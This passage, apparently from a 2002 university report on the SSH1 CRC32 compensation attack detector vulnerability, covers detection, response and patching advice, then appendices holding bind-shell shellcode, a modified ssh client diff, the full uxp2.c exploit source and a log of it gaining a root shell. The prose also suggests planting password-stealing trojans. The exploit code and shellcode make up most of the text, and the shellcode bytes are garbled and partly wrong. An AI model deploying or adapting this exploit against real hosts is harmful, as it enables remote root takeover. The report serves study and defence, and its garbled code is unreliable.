See Appendix 7.3 for packet.diff and uxp2.c source code files.
See Appendix 7.2 for details what the exploit looks like from the attackers point of view.
After the attacker connects to the victims new open port and root shell, the sshd gives 10 minutes to run commands as root. After those minutes the sshd parent process that forks children for individual connections will close the connection in the name of a time-out. This time can be used to implant Trojan horses and other malicious programs into the victim that will for example expose passwords as they are typed in.
4.5 Advantages and Disadvantages
The advantage of the exploit is that it runs without any parameters and succeeds to run the shellcode with some non-zero probability. The application runs the shellcode quite quickly compared to some other CRC32 attack detector exploits that also require perfect guesses for addresses.
The biggest disadvantage is that the application is heavily optimized for our own hardware and software platform. The application could prompt the user for different target sshd-implementations, for example. Some memory-address distances are determined by brute-force means. Switching to binary search could make the exploit a lot quicker. The exploit could also include some sort of root kit or tools to preserve the access to the victim host.
5 Counter actions
5.1 Detecting attacks
Detecting attacks using this exploit can be done pretty easily if the host has already some active log monitor or traffic follower (e.g. snort) running.
The traffic is quite notable because this is based on bruteforcing. The count of log entries on target machine will be therefore high. The following strings could be filtered out with the log monitor:
sshd[24399]: Disconnecting: Corrupted check bytes on input.
sshd[24439]: Disconnecting: crc32 compensation attack: network attack detected
If those entries are matched many on a row, the log monitor could dynamically set the firewall to block the connections from the source ip mentioned on the logs.
The traffic monitor could either check the lengths of the packets or if the packet contains lot of NOP instructions (0x90 on Intel platforms). The length of the packets is fairly constant (about 100kB) and there are only one big packet per connection and then the connection is dropped. Snort could be configured to do this monitoring easily.
Also the normal hack detection methods can be used. For example check the integrity of binaries using some automated tool (e.g. tripwire). If the logs are kept on and sent real-time to different, secure host, then the logs should inform about something mystical because they can't be tampered.
5.2 Required actions after being attacked
If the system's security is breached:
disconnect the machine from the network immediately
disconnect also the other hosts 'near' the infected one because probably the attacker has gained root on those machines as well
notify the users of this host
start to analyze the logs with security expert and inform the police if necessary (helps you in the case where your host is used in hacking other hosts)
do NOT put the machine in a production environment without complete system reinstall
This is the same procedure that should be followed in any hack suspicion.
5.3 Preventive actions
The vulnerability is easily fixed: change the variable n from 16-bit to 32-bit or set some kind of check for packet length or the value of n.
Frankly, updating your SSH daemon to a newer, secure version is the safest bet.
If the users are willing, restrict the hosts where the users can log from. This can be done using firewall settings.
6 References
[1] Aleph One: [phrack] Smashing The Stack For Fun And Profit [online] [referenced March 20, 2002] Vol 7, Issue 49
Available from: <
http://www.phrack.com/phrack/49/P49-14> [2] blackshell@hushmail.com: [Securityfocus bugtraq: vuln-dev archive] ssh1 remote root exploit [online]. [referenced March 20, 2002] Available from: <
http://online.securityfocus.com/archive/82/247801> [3] Johnson, Michael K. Linux Memory Management Overview. In Linux documentation project [online] [referenced March 20, 2002] Available from: <
http://www.linuxdoc.org/LDP/khg/HyperNews/get/memory/linuxmm.html> [4] Visscher Paul. readelf man page [online] [referenced March 20, 2002] Available from: <
http://www.gnu.org/manual/binutils-2.10.1/html_chapter/binutils_14.html> [5] Starzetz, Paul. ssh1.crc32.txt [online article] [referenced March 20, 2002] Available from: <
http://packetstorm.widexs.nl/0102-exploits/ssh1.crc32.txt> [6] Lanza, Jeffrey P. Vulnerability Note VU#945216 [online], Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from: <
http://www.kb.cert.org/vuls/id/945216> [7] SSH CRC-32 Compensation Attack Detector Vulnerability, Securiryfocus.com bugtraq list [online]. [referenced March 20, 2002] Available from: <
http://online.securityfocus.com/bid/2347> [8] Dittrich, David A. Analysis of SSH crc32 compensation attack detector exploit [online]. [referenced March 20, 2002] Available from: <
http://staff.washington.edu/dittrich/misc/ssh-analysis.txt> [9] Rafail, Jason A.; Dougherty, Chad. CERT® Advisory CA-2001-35 Recent Activity Against Secure Shell Daemons [online] Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from: <
http://www.cert.org/advisories/CA-2001-35.html> [10] Packetstorm exploit archive, Shack exploit [online] [referenced March 20, 2002] <
http://packetstorm.widexs.nl/0201-exploits/cm-ssh.tgz> [11] Incidents.org, Handler's Diary Thursday, December 13th 2001 [online] [referenced March 20, 2002] <
http://www.incidents.org/diary/diary.php?id=118> [12] Elson, Jeremy. tcpflow -- A TCP Flow Recorder [online] [referenced March 20, 2002] <
http://www.circlemud.org/~jelson/software/tcpflow/> [13] jsb4ch@hotmail.com, ANTI-prym/h4g1s portshell code [online] [referenced March 20, 2002] <
http://www.cotse.com/sw/linux/portshell.txt> [14] Heinisuo, Rami et al.: Elektronisen viittaamisen opas [online]. Jyväskylä: University of Jyväskylä, 1997 [referenced January 27, 2002] Available from: <
http://lib.hut.fi/Elehdet/Elviira/ >
[15] Siegert, Martin: [linux-security] ssh1 remote root exploit [online]. Simon Fraser University, 2001 [referenced January 27, 2002] SFU's linux-security mailing list. Available from: <
http://www.sfu.ca/~siegert/linux-security/msg00017.html> [16] SSH statement regarding the vulnerability of SSH1 protocol <
http://www.ssh.com/products/ssh/cert/> [17] Possible OpenSSH DoS Attack <
http://www.securityfocus.com/cgi-bin/archive.pl?id=82&start=2002-01-26&end=2002-02-01&threads=0&mid=004401c181d1$2b91adc0$0400a8c0@pi> [18] SSH Vulnerability Scan Vulnerability to CRC32 compensation attack detector exploit <
http://www.securityfocus.com/archive/1/243644> <
http://staff.washington.edu/dittrich/misc/ssh-analysis.txt> [19] Cisco Security Advisory: Multiple SSH Vulnerabilities <
http://www.cisco.com/warp/public/707/SSH-multiple-pub.html> [20] OpenSSH subject to traffic analysis <
http://www.securityfocus.com/archive/1/176117/> <
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt> [21] SSH brute forcer <
http://www.securityfocus.com/archive/82/252405> [22] blackshell tool1: SSHD vulnerability scanner <
http://www.securityfocus.com/archive/82/247801> [23] Ylönen, Tatu. The SSH (Secure Shell) Remote Login Protocol [online] [referenced March 20, 2002] <
http://www.snailbook.com/docs/protocol-1.5.txt> 7 Appendices
7.1 Shellcode
/*
* Linux/x86
* TCP/36864 portshell (old, could be optimized further)
*/
char shellcode[] = /* anathema <anathema@hack.co.za> */
/* main: */
"xebx72" /* jmp callz */
/* start: */
"xebx72" /* popl %esi */
/* socket() */
"x29xc0" /* subl %eax, %eax */
"x89x46x10" /* movl %eax, 0x10(%esi) */
"x40" /* incl %eax */
"x89xc3" /* movl %eax, %ebx */
"x89x46x0c" /* movl %eax, 0x0c(%esi) */
"x40" /* incl %eax */
"x89x46x08" /* movl %eax, 0x08(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
/* bind() */
"x43" /* incl %ebx */
"xc6x46x10x10" /* movb $0x10, 0x10(%esi) */
"x66x89x5ex14" /* movw %bx, 0x14(%esi) */
"x88x46x08" /* movb %al, 0x08(%esi) */
"x29xc0" /* subl %eax, %eax */
"x89xc2" /* movl %eax, %edx */
"x89x46x18" /* movl %eax, 0x18(%esi) */
"xb0x90" /* movb $0x90, %al */
"x66x89x46x16" /* movw %ax, 0x16(%esi) */
"x8dx4ex14" /* leal 0x14(%esi), %ecx */
"x89x4ex0c" /* movl %ecx, 0x0c(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
/* listen() */
"x89x5ex0c" /* movl %ebx, 0x0c(%esi) */
"x43" /* incl %ebx */
"x43" /* incl %ebx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
/* accept() */
"x89x56x0c" /* movl %edx, 0x0c(%esi) */
"x89x56x10" /* movl %edx, 0x10(%esi) */
"xb0x66" /* movb $0x66, %al */
"x43" /* incl %ebx */
"xcdx80" /* int $0x80 */
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3" /* xchgb %al, %bl */
"xb0x3f" /* movb $0x3f, %al */
"x29xc9" /* subl %ecx, %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
/* execve() */
"x88x56x07" /* movb %dl, 0x07(%esi) */
"x89x76x0c" /* movl %esi, 0x0c(%esi) */
"x87xf3" /* xchgl %esi, %ebx */
"x8dx4bx0c" /* leal 0x0c(%ebx), %ecx */
"xb0x0b" /* movb $0x0b, %al */
"xcdx80" /* int $0x80 */
/* callz: */
"xe8x89xffxffxff" /* call start */
"/bin/sh";
7.2 Exploit usage
[root@localhost exploit]# ../uxp2
Finding estimate for h..buf distance
Testing h..buf offset: 0x00000000 B NOT FOUND (SEQV)
Testing h..buf offset: 0x0000c800 B FOUND (Corrupt bytes)
Finding exact h..buf distance
Testing h..buf offset: 0x00004800 B (prev. step=0x00008000h) NOT FOUND. Increasing by 0x00002000
Testing h..buf offset: 0x00008800 B (prev. step=0x00004000h) FOUND. Decreasing by 0x00001000
Testing h..buf offset: 0x00006800 B (prev. step=0x00002000h) FOUND. Decreasing by 0x00000800
Testing h..buf offset: 0x00005800 B (prev. step=0x00001000h) FOUND. Decreasing by 0x00000400
Testing h..buf offset: 0x00005000 B (prev. step=0x00000800h) NOT FOUND. Increasing by 0x00000200
Testing h..buf offset: 0x00005400 B (prev. step=0x00000400h) FOUND. Decreasing by 0x00000100
Testing h..buf offset: 0x00005200 B (prev. step=0x00000200h) FOUND. Decreasing by 0x00000080
Testing h..buf offset: 0x00005100 B (prev. step=0x00000100h) FOUND. Decreasing by 0x00000040
Testing h..buf offset: 0x00005080 B (prev. step=0x00000080h) NOT FOUND. Increasing by 0x00000020
Testing h..buf offset: 0x000050c0 B (prev. step=0x00000040h) FOUND. Decreasing by 0x00000010
Testing h..buf offset: 0x000050a0 B (prev. step=0x00000020h) NOT FOUND. Increasing by 0x00000008
Testing h..buf offset: 0x000050b0 B (prev. step=0x00000010h) NOT FOUND. Increasing by 0x00000004
Testing h..buf offset: 0x000050b8 B (prev. step=0x00000008h) FOUND. Decreasing by 0x00000002
Found exact distance: 0x000050b4
Finding lower kernel area boundary
Testing h..boundary offset 0xb7f88500 NOT FOUND. (SEQV)
Testing h..boundary offset 0xb7f884fc NOT FOUND. (SEQV)
Testing h..boundary offset 0xb7f884f8 FOUND. (CRC32 Attack Detected)
Trying to run shellcode. If output stalls, telnet to 192.168.1.1:36864
Trying shellcode/ (eip_MSW@0xbfffda00 pres_MSW=0x0806 targ_MSW=0x0808)
[1]+ Stopped ../uxp2
[root@localhost exploit]# kill %1
[1]+ Stopped ../uxp2
[root@localhost exploit]#
[root@localhost exploit]# telnet 192.168.1.1 32864
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
[root@localhost exploit]# telnet 192.168.1.1 36864
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found
ls -l;
total 480
drwxr-xr-x 2 root root 4096 Mar 8 18:30 bin
drwxr-xr-x 3 root root 4096 Feb 28 22:26 boot
-rw------- 1 root root 520192 Mar 10 23:08 core
drwxr-xr-x 16 root root 77824 Mar 12 21:21 dev
drwxr-xr-x 60 root root 8192 Mar 19 19:24 etc
drwxr-xr-x 10 root root 4096 Mar 15 00:04 home
drwxr-xr-x 2 root root 4096 Jun 21 2001 initrd
drwxr-xr-x 7 root root 4096 Mar 4 15:45 lib
drwxr-xr-x 2 root root 16384 Sep 2 2001 lost+found
drwxr-xr-x 2 root root 0 Feb 28 22:32 misc
drwxr-xr-x 4 root root 4096 Nov 23 17:13 mnt
lrwxrwxrwx 1 root root 13 Jan 20 15:09 mp3 -> /mnt/hdd1/MP3
drwxr-xr-x 2 root root 4096 Aug 23 1999 opt
dr-xr-xr-x 180 root root 0 Feb 28 22:32 proc
drwxr-x--- 29 root root 4096 Mar 19 18:55 root
drwxr-xr-x 2 root root 4096 Mar 8 18:31 sbin
lrwxrwxrwx 1 root root 18 Nov 20 23:12 scratch -> /mnt/hdc1/scratch/
drwxrwxrwt 13 root root 4096 Mar 19 19:10 tmp
drwxr-xr-x 17 root root 4096 Feb 5 18:11 usr
drwxr-xr-x 22 root root 4096 Sep 2 2001 var
lrwxrwxrwx 1 root root 14 Nov 16 19:48 www -> /mnt/hdc1/www/
: command not found
exit;
Connection closed by foreign host.
[root@localhost exploit]#
7.3 Source code files for the exploit
7.3.1 packet.diff
Download packet.diff
--- packet.c Sat Oct 14 08:23:12 2000
+++ packet_modified.c Tue Mar 19 20:24:25 2002
@@ -125,6 +125,9 @@
/* Session key information for Encryption and MAC */
Kex *kex = NULL;
+/* pekka.korpinen@hut.fi, kalle.lyytikainen@hut.fi */
+/* HACK - Packet Number */
+int count = 0;
+
void
packet_set_kex(Kex *k)
{
@@ -461,6 +464,9 @@
unsigned int checksum;
u_int32_t rand = 0;
+ /* HACK - Count sent packets */
+ count++;
+
/*
* If using packet compression, compress the payload of the outgoing
* packet.
@@ -1172,7 +1178,32 @@
void
packet_write_poll()
{
- int len = buffer_len(&output);
+ int len;
+
+ /* --- HACK START --- */
+ FILE *f;
+ unsigned long sz;
+ char buf[50], *ptr, packet[270000];
+
+ if (count == 2)
+ {
+ debug("reading exploit packet from /tmp/exploit_packet");
+ f = fopen("/tmp/exploit_packet","r");
+ fread(buf, 1, 4, f);
+ sz = GET_32BIT(&buf[0])+4;
+ debug("packet length = %un", sz);
+
+ buffer_clear(&output);
+ buffer_append(&output, packet, sz);
+ ptr = buffer_ptr(&output);
+ fread(ptr, 1, sz, f);
+ fclose(f);
+
+ count++;
+ }
+ /* --- HACK END --- */
+
+ len = buffer_len(&output);
if (len > 0) {
len = write(connection_out, buffer_ptr(&output), len);
if (len <= 0) {
7.3.2 uxp2.c
Download uxp2.c
/*
THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.
Exploit code for using the modified ssh
2002-03-20
Authors:
Pekka Korpinen, pekka.korpinen@hut.fi / Helsinki University of Technology
Kalle Lyytikäinen, kalle.lyytikainen@hut.fi / Helsinki University of Technology
This code is based on the reverse-engineering work of the
shack implementation. Shellcode is by anathema.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
/* Path to modified ssh */
#define PATH_SSH "./ssh"
// Target host
char host[] = "192.168.1.1";
// Target port
int port = 2222;
// Packet length (don't touch)
unsigned long packet_length = 102400;
// The packet buffer
char *buffer = NULL;
/*
* Linux/x86
* TCP/36864 portshell (old, could be optimized further)
*/
char shellcode[] = /* anathema <anathema@hack.co.za> */
/* main: */
"xebx72" /* jmp callz */
/* start: */
"x5e" /* popl %esi */
/* socket() */
"x29xc0" /* subl %eax, %eax */
"x89x46x10" /* movl %eax, 0x10(%esi) */
"x40" /* incl %eax */
"x89xc3" /* movl %eax, %ebx */
"x89x46x0c" /* movl %eax, 0x0c(%esi) */
"x40" /* incl %eax */
"x89x46x08" /* movl %eax, 0x08(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
/* bind() */
"x43" /* incl %ebx */
"xc6x46x10x10" /* movb $0x10, 0x10(%esi) */
"x66x89x5ex14" /* movw %bx, 0x14(%esi) */
"x88x46x08" /* movb %al, 0x08(%esi) */
"x29xc0" /* subl %eax, %eax */
"x89xc2" /* movl %eax, %edx */
"x89x46x18" /* movl %eax, 0x18(%esi) */
"xb0x90" /* movb $0x90, %al */
"x66x89x46x16" /* movw %ax, 0x16(%esi) */
"x8dx4ex14" /* leal 0x14(%esi), %ecx */
"x89x4ex0c" /* movl %ecx, 0x0c(%esi) */
"x8dx4ex08" /* leal 0x08(%esi), %ecx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
/* listen() */
"x89x5ex0c" /* movl %ebx, 0x0c(%esi) */
"x43" /* incl %ebx */
"x43" /* incl %ebx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
/* accept() */
"x89x56x0c" /* movl %edx, 0x0c(%esi) */
"x89x56x10" /* movl %edx, 0x10(%esi) */
"xb0x66" /* movb $0x66, %al */
"x43" /* incl %ebx */
"xcdx80" /* int $0x80 */
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3" /* xchgb %al, %bl */
"xb0x3f" /* movb $0x3f, %al */
"x29xc9" /* subl %ecx, %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
"xb0x3f" /* movb $0x3f, %al */
"x41" /* incl %ecx */
"xcdx80" /* int $0x80 */
/* execve() */
"x88x56x07" /* movb %dl, 0x07(%esi) */
"x89x76x0c" /* movl %esi, 0x0c(%esi) */
"x87xf3" /* xchgl %esi, %ebx */
"x8dx4bx0c" /* leal 0x0c(%ebx), %ecx */
"xb0x0b" /* movb $0x0b, %al */
"xcdx80" /* int $0x80 */
/* callz: */
"xe8x89xffxffxff" /* call start */
"/bin/sh";
void buffer_init()
{
buffer = (char *) malloc(packet_length+8);
}
void buffer_destroy()
{
if (buffer)
free(buffer);
}
void insert_crc32_compensation_attack_pattern(unsigned long *ptr,
unsigned long value1, unsigned long value2)
{
int positions[] = {0,6,9,10,16,20,21,22,24,25,27,28,30,31,32,-1};
int i;
for (i=0; positions[i]!=-1; i++) {
ptr[ positions[i]*2 ] = value1;
ptr[ positions[i]*2+1 ] = value2;
}
}
void change_word_order()
{
int i;
char ch, ch2, *aux;
for(i = 0 ; i < 4+packet_length ; i+=4) {
aux = buffer + i;
ch=*aux;
*aux=*(aux+3);
*(aux+3)=ch;
ch=*(aux+1);
*(aux+1)=*(aux+2);
*(aux+2)=ch;
}
}
int send_packet_and_check_result(char *grepstr)
{
char commandline[512];
int ret;
FILE *f;
// Write packet
f = fopen("/tmp/exploit_packet", "wb");
fwrite(buffer, 1, (packet_length+8), f);
fclose(f);
sprintf(commandline, "%s -p %i -v -l root %s 2> /tmp/output.txt", PATH_SSH, port, host);
ret = system(commandline);
if (grepstr != NULL) {
sprintf(commandline, "grep %s /tmp/output.txt > /dev/null", grepstr);
ret = system(commandline);
}
return ret;
}
int send_packet_shellcode(unsigned long buffer_offset, unsigned long eip_offset, unsigned int presumed_MSW, unsigned int target_MSW)
{
int ret, i;
unsigned long *ptr, buffer_offset_slide, temp;
char ch,ch2;
// Set the packet lengths (first one for the ssh-client)
// (second one is sent to the server)
ptr = (unsigned long *) buffer;
*(ptr++) = packet_length;
*(ptr++) = packet_length-1;
// NOP sled (to entire packet)
memset(ptr, 0x90, packet_length);
// Running j to target_MSW (writing into the buffer, FFFF)
// The +1 in "target_MSW+1" must be used because j starts at 0
buffer_offset_slide = buffer_offset + 3;
for (i=0; i < (target_MSW + 1) * 8 && i < packet_length; i+=8, buffer_offset_slide += 4) {
*(ptr++) = buffer_offset_slide;
*(ptr++) = 0x7350ffff;
}
// Inserting CRC32 compensation attack pattern
// Change the order of MSW-LSW
ch = (target_MSW+1)&0xff;
ch2 = ((target_MSW+1)&0xff00) >> 8;
temp = (ch<<24)+(ch2<<16)+0x9090;
insert_crc32_compensation_attack_pattern(ptr, buffer_offset_slide-1, temp);
// Place EIP overwrite blocks
ptr = (unsigned long *) buffer;
ptr += 2; // skip the length information
ptr[presumed_MSW * 2] = eip_offset;
ptr[target_MSW * 2] = eip_offset;
// Change the word order in buffer
change_word_order();
// Insert the shellcode (no word-order things here)
memcpy(buffer+8+packet_length-strlen(shellcode)-16, &shellcode, strlen(shellcode));
// Send packet (no grepping)
ret = send_packet_and_check_result(NULL);
return ret;
}
int send_packet_kernel(unsigned long kernel_offset, unsigned long buffer_offset)
{
int ret, i;
unsigned long *ptr;
ptr = (unsigned long *) buffer;
*(ptr++) = packet_length;
*(ptr++) = packet_length-1;
for (i=0; i<packet_length; i+=8) {
*(ptr++) = kernel_offset;
*(ptr++) = 0x7350ffff;
}
ptr = (unsigned long *) buffer;
ptr += 2;
insert_crc32_compensation_attack_pattern(ptr+2, buffer_offset+6, 0x0100ffff);
change_word_order();
ret = send_packet_and_check_result("crc32");
return ret;
}
int find_stack(unsigned long start_offset, unsigned long buffer_offset)
{
unsigned long offset;
long step;
int ret;
int count;
offset = start_offset;
printf("Finding lower kernel area boundaryn");
while (1) {
printf(" Testing h..boundary offset 0x%08x ", offset*2);
fflush(stdout);
ret = send_packet_kernel(offset, buffer_offset);
if (ret == 0) {
printf("FOUND. (CRC32 Attack Detected)n");
break;
}
else {
printf("NOT FOUND. (SEQV)n");
}
// offset -= 0x800;
offset -=2;
}
return offset+2; // We only need the exact h..kernel distance
}
int buffer_test(unsigned long start_offset, unsigned long packet_length)
{
FILE *f;
int ret, i, j;
unsigned long *ptr;
ptr = (unsigned long *) buffer;
*(ptr++) = packet_length;
*(ptr++) = packet_length-1;
for (i=0, j=0; i<packet_length; i+=16, j+=4) {
*(ptr++) = start_offset+j;
*(ptr++) = 0xffffffff;
*(ptr++) = start_offset+j+1;
*(ptr++) = 0xffffffff;
}
change_word_order();
ret = send_packet_and_check_result("Corrupted");
return ret;
}
unsigned long find_buffer(unsigned long start_offset, unsigned stop_offset)
{
int ret;
unsigned long offset;
long step;
// Find estimate for h..buf distance
printf("Finding estimate for h..buf distancen");
offset = start_offset;
while (1) {
printf(" Testing h..buf offset: 0x%08x B", offset*2); // 2 -> 16-bit offset
fflush(stdout);
ret = buffer_test(offset, packet_length);
if (ret == 0) {
printf(" FOUND (Corrupt bytes)n");
break;
}
else {
printf(" NOT FOUND (SEQV)n");
}
offset += packet_length/2/2;
if (offset > stop_offset) {
printf("Stop offset reached. Exitingn");
return 0;
}
}
// Find exact distance
printf("Finding exact h..buf distancen");
// Calculate the step size
step = 1;
while (1) {
if (step > packet_length/2/2/2)
break;
step = step<<1;
}
offset -= step;
while(step > 3) {
printf(" Testing h..buf offset: 0x%08x B (prev. step=0x%08xh)", offset*2, step*2);
fflush(stdout);
ret = buffer_test(offset, packet_length);
step = step/2;
if (ret==0) {
printf(" FOUND. Decreasing by 0x%08xn", step);
offset -= step;
}
else {
printf(" NOT FOUND. Increasing by 0x%08xn", step);
offset += step;
}
}
printf("Found exact distance: 0x%08xn", offset*2);
return offset;
}
void try_shellcode(unsigned long eip_guess, unsigned long buf_offset, unsigned long kernel_offset)
{
long int higher, lower, p, t; // Offsets to seach, expands from the middle
unsigned long h, eip_MSW_offset, roof_reached = 0;
h = 0xc0000000 - kernel_offset * 2;
// eip_offset must point to the MSW of eip, which resides at higher half of eip. Convert to 16-b offset
eip_MSW_offset = (eip_guess - h + 2) / 2;
higher = 0;
lower = -4;
printf("Trying to run shellcode. If output stalls, telnet to %s:36864n", host);
while(1) {
for(p=0x805 ; p<=0x806 ; p++) {
for(t=p+1 ; t<=0x808 ; t++) {
if (eip_guess+higher < 0xc0000000) {
printf(" Trying shellcode / (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+higher, p, t);
send_packet_shellcode(buf_offset, eip_MSW_offset + higher/2, p, t);
}
else if (!roof_reached && eip_guess+higher >= 0xc0000000) {
printf("Higher search hit kernel bound. Continue with lower search only.n");
roof_reached = 1;
}
printf(" Trying shellcode \ (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+lower, p, t);
send_packet_shellcode(buf_offset, eip_MSW_offset + lower/2, p, t);
}
}
higher += 4;
lower -= 4;
}
}
int main(int argc,char *argv[])
{
unsigned long kernel_offset, buf_offset;
// initialize the buffer
buffer_init();
// find the buf
// 1st arg : start search from this offset
// 2nd arg : stop search to this offset
buf_offset = find_buffer(0x0, 102400/2*10);
// find the stack
// 1st arg : start search from this (16-bit) offset (high limit)
// 2nd arg : found buf offset
kernel_offset = find_stack(0xb7f88500/2, buf_offset);
// try to send and run shellcode
// 1st arg : initial guess where the eip is living (absolute 8-bit address)
// 2nd arg : found buf offset
// 3rd arg : found stack (0xc0000000) offset
try_shellcode(0xc0000000 - 0x2600, buf_offset, kernel_offset);
// destroy the buffer
buffer_destroy();
return 0;
}